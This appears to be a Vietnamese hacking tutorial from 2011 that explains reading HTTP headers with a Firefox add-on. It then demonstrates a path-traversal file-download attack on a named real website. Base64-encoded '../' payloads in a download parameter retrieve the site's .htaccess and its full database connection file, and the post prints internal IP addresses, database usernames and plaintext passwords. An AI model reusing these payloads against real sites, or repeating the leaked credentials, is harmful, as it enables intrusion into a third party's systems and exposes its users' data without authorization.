Trong ngành phát triển web, cũng liên quan không ít đến hacking. Và bây giờ chúng ta nói về HEADER CODE & những thứ ta có được từ nó.
Những thứ bạn có thể thấy trong header là HTTP code, Content Length, Content type... nó sẻ được mô tả tại đây:
http://en.wikipedia.org/wiki/List_of_HTTP_header_fieldsĐây là danh sách HTTP status code:
http://en.wikipedia.org/wiki/List_of_HTTP_status_codesHãy chắc chắn bạn có lướt qua những định nghĩa trên trước khi đọc tiếp những thủ thuật kế tiếp.
Firefox 4.0:
http://download.mozilla.org/?product=firefox-4.0&os=win&lang=enLive HTTP Headers(LHH):
https://addons.mozilla.org/vi/firefox/addon/live-http-headers/Bạn có thể tìm và đọc chức năng của firefox ở đâu đó và tôi không muốn giới thiệu thêm về nó nữa. Ở đây tôi chỉ muốn nói đến Live HTTP Headers, nó là một plugin nhỏ của Firefox, cho phép ta đọc header của mỗi truy vấn thông qua giao thức HTTP một cách dễ dàng hơn.
Sau khi cài đặt plugin LHH bạn hãy khởi động lại firefox & mở LHH lên bằng cách:
Firefox Menu => Tools => Live HTTP Headers
Ta tiến hành dùng thử nhé:
Thử truy cập vào
www.google.com.vn xem thế nào?
Kết quả tôi có được:
http://www.google.com.vn/GET / HTTP/1.1
Host:
www.google.com.vnUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: UTF-8,*
Keep-Alive: 10000
Connection: keep-alive
Cookie: xxxxx
Đó là một headers cơ bản, thông thường mà chúng ta có thể thấy, vậy việc xem headers này có gì đặc biệt? Tất nhiên nếu không có gì đặc biệt tôi cũng không mất nhiều thời gian đễ giới thiệu với các bạn.
Chúng ta hãy thử xem điều đặc biệt trong LHH qua ví dụ tôi kiễm tra lỗi bảo mật của
www.in.com nhé.
Đây là headers mà tôi đã gửi đến
www.in.com, một truy vấn GET trên cổng 80 và trình duyệt hiện tại là Mozilla phiên bản 5.0 - Gecko/20100625 Firefox/3.6.6
http://www.in.com/GET / HTTP/1.1
Host:
www.in.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: UTF-8,*
Keep-Alive: 10000
Connection: keep-alive
Kết quả mà
www.in.com trả về:
HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 24 Mar 2011 15:32:01 GMT
Accept-Ranges: bytes
Content-Encoding: gzip
X-UA-Compatible: IE=EmulateIE7
Content-Length: 30204
Content-Type: text/html
Cache-Control: max-age=5
Date: Thu, 24 Mar 2011 16:26:22 GMT
Connection: keep-alive
Vary: Accept-Encoding
Ta bắt đầu bằng cách đọc header:
HTTP/1.1: Điều này có nghĩa là
www.in.com đang xử dụng giao thức HTTP phiên bản 1.1 đễ truyền tín hiệu cho tôi.
200 OK: HTTP status 200 và thông báo là OK =>
www.in.com đang tồn tại và sẳn sàng trả lời truy vấn của tôi.
Server: Apache => Đây là một thông báo quan trọng trong header, thông tin này cho phép bạn định hình tốt hơn đối tượng đang truy vấn. Trong trường hợp này,
www.in.com đang cố che dấu công nghệ mà họ đang xử dụng đễ phát hành website, môi trường vận hành...Chúng ta chỉ biết họ đang xử dụng Apache đễ làm máy chủ xuất bản website. Và đễ bạn hiểu thêm về cách tấn công bạn có thể tìm đọc các tài liệu về Apache Web Server.
Last-Modified: Thu, 24 Mar 2011 15:32:01 GMT => Thời gian vừa sửa chửa file, thông số này đôi khi không quan trọng, vì nó thường dùng đễ trình duyệt xác thực việc lưu lại bộ đệm của
www.in.com trên máy bạn là lúc nào thôi.
Chúng ta chỉ nên chú ý những tín hiệu đặc biệt như: Content-Type, Content-Length, Content-Encoding. Nó ảnh hưởng đến nội dung trình chiếu trên trình duyệt của bạn nhiều hơn. Trong lần trả về header này của
www.in.com không có gì đặc biệt cả. Tôi bắt đầu thử với một truy vấn khác.
http://www.in.com/downloads/wallpaperdowload.php?id=NzIwMDM=&imgid=aHR0cDovL2ltLmluLmNvbS9tZWRpYS9kb3dubG9hZC93YWxscGFwZXJzLzIwMTEvTWFyL2FubjF2XzEwMjR4NzY4LmpwZw==GET /downloads/wallpaperdowload.php?id=NzIwMDM=&imgid=aHR0cDovL2ltLmluLmNvbS9tZWRpYS9kb3dubG9hZC93YWxscGFwZXJzLzIwMTEvTWFyL2FubjF2XzEwMjR4NzY4LmpwZw== HTTP/1.1
Host:
www.in.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: UTF-8,*
Keep-Alive: 10000
Connection: keep-alive
Referer:
http://www.in.com/downloads/wallpapers-models-anne-vyalitsyna-72003.htmlCookie: __utma=132739414.91014031.1300984010.1300984010.1300984010.1
Kết quả
www.in.com trả về
HTTP/1.1 200 OK
Server: Apache
Pragma: no-cache
Last-Modified: Thu, 24 Mar 2011 15:57:40 GMT
Content-Disposition: attachment; filename="ann1v_1024x768.jpg"
Content-Transfer-Encoding: binary
Content-Encoding: gzip
X-UA-Compatible: IE=EmulateIE7
Content-Type: image/jpeg
Content-Length: 167922
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 24 Mar 2011 16:39:08 GMT
Date: Thu, 24 Mar 2011 16:39:08 GMT
Connection: keep-alive
Vary: Accept-Encoding
Lần này có một vài thay đổi nhỏ trong header.
và cả vài thứ là lùng trong truy vấn mà tôi đã gửi đi.
Bạn thử nhìn xem đoạn này:
Content-Disposition: attachment; filename="ann1v_1024x768.jpg"
Content-Transfer-Encoding: binary
Đây là một đoạn headers xuất bản file từ server trả về client thông qua HTTP headers. Ở đây
www.in.com đã trả về cho tôi một file ảnh có tên là ann1v_1024x768.jpg. Bạn nghĩ có gì đặc biệt không? Nếu chưa thấy điều đặc biệt hãy cùng tôi phân tích truy vấn mà tôi đã gửi đến cho
www.in.com nhé.
Đường dẫn mà tôi đã gửi truy vấn:
http://www.in.com/downloads/wallpaperdowload.php?id=NzIwMDM=&imgid=aHR0cDovL2ltLmluLmNvbS9tZWRpYS9kb3dubG9hZC93YWxscGFwZXJzLzIwMTEvTWFyL2FubjF2XzEwMjR4NzY4LmpwZw==Theo kỹ thuật & kiến thức cá nhân của tôi, tôi nhận biết trong đường dẫn này có những đoạn được mã hóa theo chuẩn base64.
Và tôi tiến hành giãi mã từng truy parameted trong đường dẫn này. Kết quả tôi có.
- Code:
-
http://www.in.com/downloads/wallpaperdowload.php?id=72003&imgid=http://im.in.com/media/download/wallpapers/2011/Mar/ann1v_1024x768.jpgTôi có 2 kết quả đã được giải mã:
- Code:
-
NzIwMDM= => 72003
aHR0cDovL2ltLmluLmNvbS9tZWRpYS9kb3dubG9hZC93YWxscGFwZXJzLzIwMTEvTWFyL2FubjF2XzEwMjR4NzY4LmpwZw== => http://im.in.com/media/download/wallpapers/2011/Mar/ann1v_1024x768.jpg
Tôi bắt đầu tò mò,
www.in.com đã làm gì với đường dẫn "http://im.in.com/media/download/wallpapers/2011/Mar/ann1v_1024x768.jpg" họ lấy nó làm cái gì?
Sau một hồi thử với nhiều truy vấn, tôi tìm thấy một thứ khá hay ho trong các truy vấn mà tôi đã thử:
http://www.in.com/downloads/wallpaperdowload.php?id=NzIwMDM=&imgid=Li4vLmh0YWNjZXNz - Code:
-
GET /downloads/wallpaperdowload.php?id=NzIwMDM=&imgid=Li4vLmh0YWNjZXNz HTTP/1.1
Host: www.in.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: UTF-8,*
Keep-Alive: 10000
Connection: keep-alive
Cookie: __utma=132739414.91014031.1300984010.1300984010.1300984010.1;
HTTP/1.1 200 OK
Server: Apache
Pragma: no-cache
Last-Modified: Thu, 24 Mar 2011 16:52:59 GMT
Content-Disposition: attachment; filename=".htaccess"
Content-Transfer-Encoding: binary
Content-Encoding: gzip
X-UA-Compatible: IE=EmulateIE7
Content-Length: 8705
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 24 Mar 2011 16:53:17 GMT
Date: Thu, 24 Mar 2011 16:53:17 GMT
Connection: keep-alive
Vary: Accept-Encoding
www.in.com trả về một file ".htaccess" vậy trong đó nó có những gì?
# AuthType Basic
# AuthName "Restricted Files"
# AuthUserFile /home/moneycontrol/.httppass
# Require user rohan
RewriteEngine on
#IN DOT COM######################################
#For site down
###RewriteRule . maintenance.php [L]
# not working RewriteRule "active18/CMS/" active18/login.php [L]
RewriteRule "news/japan/?$" listen/happybirthday.php?clb_id=111 [L]
RewriteRule "mails/mailstartup" active18/mails/inboxinter.php [L]
RewriteRule "mails/openstartup/(.*)" active18/mails/inboxinter.php?msgid=$1 [L]
RewriteRule "mails/(.*)" mails/$1 [L]
#RewriteRule "media/listen/(.*)" media/listen/$1 [L]
#RewriteRule "listen/(.*)" listen/$1 [L]
#RewriteRule "home/" active18/login.php [L]
RewriteRule "listengateway/(.*)" active18/CMS/listengateway/$1 [L]
...File khá dài nên tôi đã rút gọn nó
Tôi có toàn bộ cấu trúc thực của
www.in.com qua file .htaccess, đễ hiểu rõ về sao bạn cần tham khảo qua tài liệu về Apache.
Qua phân tích, tôi nhận biết rằng
www.in.com được viết bởi PHP và dùng máy chủ database MySQL. Tôi đã thử tìm file cấu hình MySQL của họ. Và kết quả tôi đạt được qua một truy vấn mới.
- Code:
-
http://www.in.com/downloads/wallpaperdowload.php?id=NzIwMDM=&imgid=Li4vYWN0aXZlMTgvY29tbW9uL2Nvbm5lY3Rpb24ucGhw
GET /downloads/wallpaperdowload.php?id=NzIwMDM=&imgid=Li4vYWN0aXZlMTgvY29tbW9uL2Nvbm5lY3Rpb24ucGhw HTTP/1.1
Host: www.in.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: UTF-8,*
Keep-Alive: 10000
Connection: keep-alive
Cookie: __utma=132739414.91014031.1300984010.1300984010.1300984010.1;
HTTP/1.1 200 OK
Server: Apache
Pragma: no-cache
Last-Modified: Thu, 24 Mar 2011 17:07:55 GMT
Content-Disposition: attachment; filename="connection.php"
Content-Transfer-Encoding: binary
Content-Encoding: gzip
X-UA-Compatible: IE=EmulateIE7
Content-Length: 2057
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 24 Mar 2011 17:07:55 GMT
Date: Thu, 24 Mar 2011 17:07:55 GMT
Connection: keep-alive
Vary: Accept-Encoding
Nội dung file "connection.php":
- Code:
-
<?
error_reporting(0);
set_error_handler("myErrorHandler");
date_default_timezone_set("Asia/Calcutta");
function myErrorHandler($errno, $errstr, $errfile, $errline, $errcontext)
{
if($errstr != "Trying to get property of non-object" && $errfile != "code-repository/active18code/active18/common/connection.php" && substr($errstr, 0, 19) != "Undefined variable:" && $errstr != "A session had already been started - ignoring session_start()" && substr($errstr, 0, 16) != "Undefined index:")
{
if(isset($_SERVER["HTTP_TRUE_CLIENT_IP"]))
$clientip = $_SERVER["HTTP_TRUE_CLIENT_IP"];
elseif(isset($_SERVER["HTTP_HTTP_NS_REMOTE_ADDR"]))
$clientip = $_SERVER["HTTP_HTTP_NS_REMOTE_ADDR"];
else
$clientip = $_SERVER["REMOTE_ADDR"];
$fp = fopen("/gfs-data/phplogs/phperror_" . date("Ymd") . ".csv", "a");
$data = '"' . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] . '","' . date("YmdHis") . '","' . $errno . '","' . str_replace('"', '"', $errstr) . '","' . str_replace('"', '"', $errfile) . '","' . $errline . '","' . str_replace('"', '"', count($errcontext)) . '","' . $_SERVER["HTTP_REFERER"] . '","' . $clientip . '","' . $_SERVER["SERVER_ADDR"] . '"' . chr(10);
$ret = fwrite($fp, $data, strlen($data));
fclose($fp);
}
return true;
}
class db
{
var $conn;
//var $rs;
//var $row;
var $lasterrno;
var $lasterrmsg;
function myconnect($db)
{
global $ud_arr, $ui;
/*if($db == "userdb")
{
$host = "172.30.30.51";
//$host = "172.30.11.21";
$user = "root";
$pwd = "admin";
$db = "web18mail";
}
else*/
if($db == "liveusers")
{
//$host = "172.30.30.51";
$host = "172.30.254.41";
$user = "root";
$pwd = "admin";
$db = "liveusers";
}
elseif($db == "social")
{
//$host = "172.30.11.22";
$host = "172.30.254.42";
$user = "root";
$pwd = "admin";
$db = "social";
}
elseif($db == "social_rw")
{
$host = "172.30.11.22";
//$host = "172.30.254.42";
$user = "root";
$pwd = "admin";
$db = "social";
}
elseif($db == "storage")
{
//$host = "172.30.30.51";
$host = "172.30.254.42";
//$host = "172.30.11.22";
$user = "root";
$pwd = "admin";
//$db = "attachment";
$db = "attachment_0";
}
elseif($db == "oldstorage")
{
$host = "172.30.30.51";
$user = "root";
$pwd = "admin";
$db = "attachment";
}
elseif($db == "serverdata")
{
$host = "172.30.11.21";
//$host = "172.30.254.41";
$user = "root";
$pwd = "admin";
$db = "serverdata";
}
elseif($db == "mail")
{
if(isset($ud_arr[2]))
{
$host = $ud_arr[1] . ".db.dc1.in.com";
$db = "mailbox_" . $ud_arr[2];
}
else
{
$host = "172.30.40.34";
$db = "mailbox_0";
}
$user = "root";
$pwd = "admin";
}
elseif($db == "mailflags")
{
if(isset($ud_arr[2]))
{
$host = str_replace(chr(10), '', $ud_arr[7]);
$db = "mailflags_" . $ud_arr[8];
$user = "mailflg_usr_rw";
$pwd = "13FEB@))*";
}
else
{
$host = "172.30.30.51";
$db = "mailflags_0";
$user = "root";
$pwd = "admin";
}
}
elseif($db == "web18mail")
{
//$host = "172.30.11.21";
$host = "172.30.254.41";
$user = "root";
$pwd = "admin";
$db = "web18mail";
}
elseif($db == "emailaddresses")
{
$host = "172.30.254.83";
$user = "emailaddr";
$pwd = "email~414";
$db = "emailaddresses";
}
elseif($db == "web18mail_rw")
{
$host = "172.30.11.21";
//$host = "172.30.254.41";
$user = "root";
$pwd = "admin";
$db = "web18mail";
}
elseif($db == "mailmetadata")
{
$host = "172.30.254.41";
$user = "root";
$pwd = "admin";
$db = "mailmetadata";
}
elseif($db == "webdrive")
{
//$host = "172.30.30.51";
$host = "172.30.254.42";
$user = "root";
$pwd = "admin";
//$db = "webdrive_0";
$db = "webdrive_" . substr($ui, -1);
}
elseif($db == "classified")
{
if($_COOKIE["oms"] != "")
{
$host = hexstr(strrev(base64_decode($_COOKIE["oms"])));
}
else
{
//$host = "172.30.30.60";
//$host = "172.30.30.51";
$host = "172.30.254.77";
}
$user = "root";
$pwd = "admin";
$db = "classified";
}
elseif($db == "rsync")
{
//$host = "172.30.30.51";
$host = "172.30.254.82";
$user = "mailflg_user_rw";
$pwd = "13FEB@))*";
$db = "rsync";
}
elseif($db == "newblish")
{
//$host = "172.30.30.51";
$host = "172.30.11.55";
$user = "write_usr_rw";
$pwd = "wr!t3";
$db = "newblish";
}else if($db == "listennow"){
$host = "172.30.254.76";
$user = "write_usr_rw";
$pwd = "wr!t3";
$db = "listennow";
}elseif($db == "commondb")
{
//$host = "172.30.30.51";
$host = "172.29.5.1";
$user = "useradd";
$pwd = "q!w@e#";
$db = "web18users";
}elseif($db == "myschool")
{
$host = "172.30.11.22";
$user = "myschool";
$pwd = "myschool@321";
$db = "myschool";
}elseif($db == "newsletter")
{
$host = "172.30.11.37";
$user = "write_usr_rw";
$pwd = "wr!t3";
$db = "newsletter";
}elseif($db == "sso_rw")
{
//$host = "172.30.11.25";
$host = "172.30.254.53";
$user = "web18sso_rw";
$pwd = "$$0!*w3b";
$db = "web18sso";
}elseif($db == "sso_r")
{
//$host = "172.30.11.25";
$host = "172.30.254.53";
$user = "web18sso_r";
$pwd = "ss018web";
$db = "web18sso";
}
$this->conn = new mysqli($host, $user, $pwd, $db);
if (mysqli_connect_errno())
{
errorlog(mysqli_connect_error(), mysqli_connect_errno());
//exit();
}
//return $conn;
}
function errorlog($errmsg, $errno)
{
//echo "ERROR:" . $errno . ":" . $errmsg;
$fp = fopen("/gfs-data/dblogs/db_" . date("Ymd") . ".txt", "a");
//$msg = $_SERVER["HTTP_HOST"] . "|" . date("YmdHis") . "|" . $errno . "|" . $errmsg . "|" . $sql . "n";
$msg = '"' . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] . '","' . date("YmdHis") . '","' . $errno . '","' . $errmsg . '","' . $sql . '"' . chr(10);
$ret = fwrite($fp, $msg, strlen($msg));
fclose($fp);
}
function myfree()
{
$this->conn->close();
unset($this->conn);
unset($this->lasterrno);
unset($this->lasterrmsg);
}
function strhex($string)
{
$hexstr = unpack('H*', $string);
return array_shift($hexstr);
}
function hexstr($hexstr)
{
$hexstr = str_replace(' ', '', $hexstr);
$retstr = pack('H*', $hexstr);
return $retstr;
}
}
class query
{
var $rs;
var $row;
var $rowcount;
var $insertid;
var $affectedcount;
var $errno;
var $errmsg;
function myquery($sql, $conn)
{
$this->rs = $conn->query($sql);
if (!$this->rs)
{
$this->errno = mysqli_errno($conn);
$this->errmsg = mysqli_error($conn);
$this->errorlog(mysqli_error($conn), mysqli_errno($conn), $sql);
//exit();
}
else
{
//if(strtolower(substr(trim($sql), 0, 6)) == "select")
$this->errno = 0;
$this->errmsg = "";
$this->insertid = $conn->insert_id;
$this->affectedcount = $conn->affected_rows;
$this->rowcount = $this->rs->num_rows;
//else
// $this->rowcount = 0;
}
}
function myfetch()
{
if($this->row = $this->rs->fetch_array())
{
return 1;
}
else
{
return 0;
}
}
function myfree()
{
//$this->rs->free();
unset($this->rs);
unset($this->row);
unset($this->rowcount);
unset($this->affectedcount);
unset($this->errno);
unset($this->errmsg);
}
function errorlog($errmsg, $errno, $sql)
{
//echo "ERROR:" . $errno . ":" . $errmsg;
if(strpos($_SERVER["REQUEST_URI"], "mails") !== false)
{
$fp = fopen("/gfs-data/dblogs/db_" . date("Ymd") . ".txt", "a");
$msg = chr(10) . '"' . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] . '","' . date("YmdHis") . '","' . $errno . '","' . $errmsg . '","' . $sql . '","' . $_SERVER["SERVER_ADDR"] . '"' . chr(10);
$ret = fwrite($fp, $msg, strlen($msg));
fclose($fp);
}
}
}
?>